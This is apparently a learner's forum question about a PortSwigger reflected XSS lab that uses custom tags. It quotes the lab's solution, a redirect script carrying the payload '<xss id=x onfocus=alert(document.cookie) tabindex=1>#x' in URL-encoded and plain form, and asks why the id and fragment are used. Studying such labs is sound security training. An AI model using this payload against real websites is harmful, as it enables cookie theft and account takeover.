html – where is the custom tag and why using id?

Portswigger reflected XSS lab with custom tags

1)Working of the payload in solution?

2)use of “id” ?

3)custom tag should be like (hello-world) but it is not.

solution of lab

script

location = ‘https://your-lab-id.web-security-academy.net/?search=%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E#x’;

/script

without URL encoding

search < xss id=x onfocus=alert(document.cookie) tabindex=1>#x’